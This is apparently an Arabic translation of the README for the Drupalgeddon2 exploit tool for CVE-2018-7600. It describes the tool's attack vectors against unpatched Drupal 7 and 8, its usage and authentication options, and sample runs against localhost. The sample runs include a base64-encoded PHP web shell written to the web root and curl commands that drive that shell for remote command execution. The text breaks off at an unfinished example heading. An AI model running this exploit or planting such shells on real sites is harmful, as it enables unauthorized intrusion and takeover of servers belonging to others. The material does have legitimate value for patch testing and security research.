CVE-2018-7600 | Drupal 8.5.x < 8.5.1 / 8.4.x < 8.4.6 / 8.x < 8.3.9 / 7.x? < 7.58 / < 6.x? - 'Drupalgeddon2' RCE (SA-CORE-2018-002)

Drupalggedon2 ~ https://github.com/dreadlocked/Drupalgeddon2/ (https://www.drupal.org/sa-core-2018-002)

يدعم:

• دروبال < 8.3.9 / < 8.4.6 / < 8.5.1 ~ رابط user/register، مهاجمة معامل account/mail و #post_render، باستخدام دالة passthru في PHP
• دروبال < 7.58 ~ رابط user/password، مهاجمة نموذج triggering_element_name ومعامل #post_render، باستخدام دالة passthru في PHP
• يعمل مع أوامر مباشرة (تُعرف بطريقة بدون ملف) أو يكتب شيل PHP إلى جذر الويب (./) أو الأدلة الفرعية (./sites/default/ و ./sites/default/files/)
• يدعم الأهداف لينكس و ويندوز
• يكتشف إصدار دروبال تلقائياً (أو يخمن تخميناً جيداً!)

تم اختيار طريقة user/register لدروبال v8.x، لأنها ستعيد HTTP 200 وتُظهر الإخراج في استجابة JSON data (قم بإلغاء تعليق الكود لطريقة timezone/#lazy_builder، والتي ستعيد HTTP 500 وعمياء!) (مزيد من المعلومات)

المؤلفون:

• Hans Topo (@_dreadlocked)
• g0tmi1k (@g0tmi1k)

ملاحظات:

• للمستخدمين/الإعدادات المتقدمة يوجد استغلال أكثر قابلية للتخصيص. راجع قسم drupalgeddon2-customizable-beta.rb
• قبل فتح مشكلة، يرجى قراءة قسم استكشاف الأخطاء في النهاية. شكراً!

---

الاستخدام:

$ ruby drupalgeddon2.rb
Usage: ruby drupalggedon2.rb <target> [--verbose] [--authentication]
       ruby drupalgeddon2.rb https://example.com
$

يمكن إضافة المعامل --verbose و --authentication بأي ترتيب بعد وكلاهما اختياري. إذا تم تحديد --authentication، فسيُطلب منك إدخال:

• اسم المستخدم،
• كلمة المرور،
• اسم حقل النموذج لاسم المستخدم،
• اسم حقل النموذج لكلمة المرور،
• مسار URL لصفحة تسجيل الدخول على الويب، مثلاً user/login
• لاحقة اختيارية تُلحق بعد بيانات الاعتماد في إرسال النموذج، مثلاً form_id، إلخ.

هذا لدعم استغلال مواقع الويب التي تتطلب أولاً تسجيل دخول قائم على POST وتستجيب بملف تعريف ارتباط جلسة (session cookie) بعد المصادقة الناجحة.

مثال لدروبال v8.x

دروبال v8.x < v8.3.9 / v8.4.x < v8.4.6 / v8.5.x < v8.5.1

$ ./drupalgeddon2.rb http://localhost/drupal-8/
[*] --==[::#Drupalggedon2::]==--
--------------------------------------------------------------------------------
[i] Target : http://localhost/drupal-8/
--------------------------------------------------------------------------------
[!] MISSING: http://localhost/drupal-8/CHANGELOG.txt    (HTTP Response: 404)
[+] Found  : http://localhost/drupal-8/core/CHANGELOG.txt    (HTTP Response: 200)
[+] Drupal?: v8.x
--------------------------------------------------------------------------------
[*] Testing: Code Execution
[i] Payload: echo TTTBJJBP
[+] Result : TTTBJJBP
[+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
--------------------------------------------------------------------------------
[*] Testing: Writing To Web Root (./)
[i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee s.php
[+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
[+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!!
--------------------------------------------------------------------------------
[i] Fake shell:   curl 'http://localhost/drupal-8/s.php' -d 'c=hostname'
ubuntu140045x64-drupal>> uname -a
Linux ubuntu140045x64-drupal 3.13.0-144-generic #193-Ubuntu SMP Thu Mar 15 17:03:53 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
ubuntu140045x64-drupal>>

مثال لدروبال v7.x

دروبال < v7.58

$ ./drupalgeddon2.rb http://localhost/drupal-7/
[*] --==[::#Drupalggedon2::]==--
--------------------------------------------------------------------------------
[i] Target : http://localhost/drupal-7/
--------------------------------------------------------------------------------
[+] Found  : http://localhost/drupal-7/CHANGELOG.txt    (HTTP Response: 200)
[+] Drupal!: v7.31
--------------------------------------------------------------------------------
[*] Testing: Code Execution
[i] Payload: echo TKYPVVJJ
[+] Result : TKYPVVJJ
[+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
--------------------------------------------------------------------------------
[*] Testing: Writing To Web Root (./)
[i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee s.php
[+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
[+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!!
--------------------------------------------------------------------------------
[i] Fake shell:   curl 'http://localhost/drupal-7/s.php' -d 'c=hostname'

ubuntu140045x64-drupal>> uptime
 14:52:33 up 4 days,  3:35,  1 user,  load average: 0.00, 0.01, 0.05
ubuntu140045x64-drupal>>

أوامر مباشرة / شيل غير PHP (تُعرف بطريقة بدون ملف)

إذا كنت لا ترغب في محاولة كتابة شيل PHP على خادم الويب، قم بتعديل الملف كما هو موضح (سيعود إلى الطريقة الافتراضية إذا لم يتمكن من العثور على موقع قابل للكتابة على أي حال):

try_phpshelltryphpshell = false

مثال